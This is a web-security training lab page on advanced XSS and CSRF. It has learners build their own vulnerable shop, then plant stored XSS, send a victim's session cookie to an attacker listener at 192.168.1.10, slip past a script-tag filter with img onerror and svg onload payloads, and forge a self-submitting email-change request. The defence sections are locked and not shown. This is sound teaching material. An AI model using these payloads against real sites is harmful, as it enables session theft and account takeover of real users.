Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Web attacks

Lab · Medium · 1.5 hoursFree account

Advanced XSS & CSRF

XSS chaining, CSP bypass, CSRF token theft, and SameSite attribute bypass.

  • xss
  • csrf
  • csp
  • samesite
On this page 4 sections
  1. ·Lab Setup
  2. ·Build the target
  3. Locked: Defence and Detection
  4. Locked: Check Your Work

Before you start

Modern browsers block old cross-site scripting and request-forgery tricks, but attackers still chain small gaps into full account takeover. One stored script can read a session cookie, and one forged form can change a password or an email address. The exercises here plant a working XSS payload, defeat a strict Content Security Policy, and forge a request that passes a weak token check.

What You'll Learn

  • Plant stored XSS that runs in another user's browser, not just your own.
  • Steal a live session cookie with XSS and reuse it to hijack the account.
  • Bypass a naive XSS filter that blocks <script> but little else.
  • Build a self-submitting CSRF page that forges a state-changing request.
  • Defeat a CSRF token that is checked but never tied to the session properly.
  • Apply the exact fix for each bug: output encoding, CSP, and real CSRF tokens.

Lab Setup

Everything runs on your own machine, against a shop application that you build (see Build the target).

Tools and versions

  • Burp Suite Community or Pro 2025.x.
  • A second browser profile or a lab VM to play "bob's browser", kept logged in as bob throughout.
  • python3 -m http.server on the attacker box, to host the cookie-stealer and the CSRF page.
  • Your attacker machine's lab IP, for example 192.168.1.10.

Build the target

KaliRange hosts no targets, no virtual machines and no lab files. You run this lab on your own machine, against a web application that you build. The host name kalirange-shop.lab, the e-mail addresses that end in kalirange.lab and the address 192.168.1.10 below are the example names of this lab. Map kalirange-shop.lab to your own shop in your hosts file, or replace the name in the commands with your own.

Your lab shop must have these parts:

  • A web application at kalirange-shop.lab, served over HTTPS (a self-signed certificate is fine; add -k to the curl commands). It has product pages and a JSON API.
  • A product review field. The server stores the review and prints it back into the product page without encoding (Step 1).
  • An optional filter on that field. It rejects the literal <script> tag with {"error": "Invalid input: script tags are not allowed"} and checks nothing else. Switch it off for Steps 1 and 2 and on for Step 3.
  • A session cookie named session. JavaScript can read it (no HttpOnly), and the browser sends it on cross-site requests (SameSite=None; Secure). The page has no Content-Security-Policy that blocks inline scripts.
  • GET /api/profile and GET /api/account that return {"username": ..., "email": ...} for the session cookie that you send.
  • POST /api/account/email with a form field new_email. In Step 4 it checks only the cookie. In Step 5 the form carries a hidden field csrf_token (the value a1b2c3d4e5f6), and the server accepts any value of that field, so switch that mode on for Step 5.
  • Two accounts: alice with the password Lab-Pass1! and bob with the password Lab-Pass2!. Use your own passwords. You act as the attacker from alice. Bob is the victim, and you control his browser (a second profile or a virtual machine on your own computer), logged in as bob. That browser must reach your attacker machine on port 8000.

Build such an application yourself: a small web shop with exactly these flaws. A deliberately vulnerable training application that its makers publish for this purpose can show the same classes of bug, but it does not contain this shop. Run it in a container or a virtual machine on your own computer, and note the state before Step 1 so that you can go back.

Test only your own shop application. Stealing a session cookie or forging a request against any other site, even one that looks equally vulnerable, is unauthorised access. Keep "bob's browser" on your own lab network only.

1

Plant stored XSS in a product review

Reflected XSS only fires when you trick one person into clicking a crafted link. Stored XSS is worse: you plant the payload once, and it fires on every visitor's browser, including the victim's, with no link needed.

Log in as alice, open any product page, and submit a review with this body:

<script>alert(document.domain)</script>

Submit it, then reload the product page as a different visitor (log out, or open bob's browser tab to the same page).

Example result: a JavaScript alert box pops up showing:

kalirange-shop.lab

What to notice: the alert fired on page load, with no click and no link — just visiting the product page ran your script. That confirms the review text is stored in the database and rendered back into the page without encoding. document.domain popping the real site's domain proves the script runs in the page's own origin, with full access to that page's cookies and DOM.

alert() only proves execution. Everything from here replaces it with code that does something useful to an attacker, which is the whole reason stored XSS is treated as high severity.

2

Steal a live session cookie

An alert() proves the bug exists. A cookie in your hands proves impact: with it, you can log in as the victim without ever knowing their password.

Start a listener on your attacker box to catch stolen cookies:

python3 -m http.server 8000

Replace the review payload with one that sends the page's cookie to you:

<script>
new Image().src = "http://192.168.1.10:8000/steal?c=" + encodeURIComponent(document.cookie);
</script>

Submit the review as alice. Now have "bob's browser" visit the product page while logged in as bob. Example listener output:

192.168.1.44 - - [19/Nov/2026 22:40:11] "GET /steal?c=session%3DeyJhbGciOiJIUzI1NiJ9.Ym9i.9a7c3f... HTTP/1.1" 200 -

Decode the query string and use bob's cookie directly against the API, from your attacker box, never touching bob's password:

curl -s https://kalirange-shop.lab/api/profile \
  -H "Cookie: session=eyJhbGciOiJIUzI1NiJ9.Ym9i.9a7c3f..."
{"username": "bob", "email": "bob@kalirange.lab"}

What to notice: the profile response says "username": "bob", confirmed from your own terminal, using only the cookie an unmodified <script> tag exfiltrated. That new Image().src trick works because loading an image is a GET request the browser makes automatically, so no popup or user click was ever needed.

3

Bypass a naive filter that only blocks <script>

Real applications rarely leave <script> untouched. A common half-fix strips or blocks that one tag and stops there. You confirm the filter's exact blind spot, then pick a payload it does not recognise.

Resubmit Task 1's exact payload in the review field:

<script>alert(1)</script>

Example response from the app:

{"error": "Invalid input: script tags are not allowed"}

What to notice: the filter explicitly names script tags, which tells you it is a blocklist, not proper output encoding. A blocklist only blocks what its author thought of. Try an event-handler payload on a tag the filter never considered:

<img src=x onerror="alert(document.domain)">

Submit it as the review body. Reload the page as a visitor. Example result: the alert fires showing kalirange-shop.lab again.

What to notice: <img> was never on the filter's list, and onerror fires automatically when the browser fails to load src=x (a path that does not exist). No <script> tag appeared anywhere, so the blocklist let it through. The underlying bug — unencoded output — was never actually fixed.

Other common bypasses worth knowing: <svg onload=alert(1)>, <body onload=alert(1)>, and mixed case like <ScRiPt> against case-sensitive blocklists. The lesson is always the same: blocklists enumerate attacks, encoding removes the vulnerability.

4

Build a basic CSRF proof of concept

CSRF abuses the fact that browsers attach cookies to every request to a site automatically, regardless of which page triggered that request. If the email-change endpoint trusts the cookie alone, any page bob visits can submit that form on his behalf.

First check the real form in Burp's HTTP history while logged in as alice, changing her own email, to see the exact request shape:

POST /api/account/email HTTP/1.1
Host: kalirange-shop.lab
Cookie: session=eyJhbGciOiJIUzI1NiJ9.YWxpY2U.4f8a2e...
Content-Type: application/x-www-form-urlencoded

new_email=alice-new@kalirange.lab

What to notice: no token, no header beyond the cookie, and Content-Type is the default form type a plain HTML <form> can send. Nothing here distinguishes a real click in the app from a form hosted anywhere else.

Build a page on your attacker box that submits that same request automatically:

<!DOCTYPE html>
<html>
<body onload="document.forms[0].submit()">
  <form action="https://kalirange-shop.lab/api/account/email" method="POST">
    <input type="hidden" name="new_email" value="attacker@evil.lab">
  </form>
</body>
</html>

Host it and have "bob's browser" (already logged in to kalirange-shop.lab) visit it:

python3 -m http.server 8000
# bob's browser visits: http://192.168.1.10:8000/csrf.html

Then check bob's account as bob:

curl -s https://kalirange-shop.lab/api/account \
  -H "Cookie: session=eyJhbGciOiJIUzI1NiJ9.Ym9i.9a7c3f..."
{"username": "bob", "email": "attacker@evil.lab"}

What to notice: bob's email changed to attacker@evil.lab just from loading a page on a completely different site. The browser attached bob's real session cookie to the cross-site POST automatically, and the server accepted it because it never checked for anything beyond that cookie. From here, an attacker typically chains a password reset to the new email to fully take over the account.

5

Defeat a token that is present but not validated properly

A common partial fix adds a CSRF token to the form but validates it incorrectly, for example checking only that a token field exists, or checking a token that is not actually tied to the victim's own session.

Load the email-change form as alice and inspect it in Burp or view-source:

<form action="/api/account/email" method="POST">
  <input type="hidden" name="csrf_token" value="a1b2c3d4e5f6">
  <input type="text" name="new_email">
</form>

Test the server's real check by submitting as alice with any other value in that field:

curl -s -X POST https://kalirange-shop.lab/api/account/email \
  -H "Cookie: session=eyJhbGciOiJIUzI1NiJ9.YWxpY2U.4f8a2e..." \
  -d "new_email=alice-test@kalirange.lab&csrf_token=wrongvalue"
{"status": "updated", "email": "alice-test@kalirange.lab"}

What to notice: the request succeeded with a wrong token value. That proves the server is not actually comparing the submitted token against one bound to alice's session — it likely only checks that the field is non-empty, or checks it against a token that is the same for every user rather than per-session. Either flaw means your Task 4 attack page still works: the attacker page simply includes <input type="hidden" name="csrf_token" value="anything"> and the forged request still passes.

A CSRF token must be unpredictable, unique per session (or per request), and genuinely compared server-side against the value tied to that session's cookie. A token that is static, guessable, or merely "present" gives a false sense of protection while leaving the form exactly as exploitable as Task 4.

Sign in to continue

2 more sections are for signed-in members. It is free: sign in with Google.

Related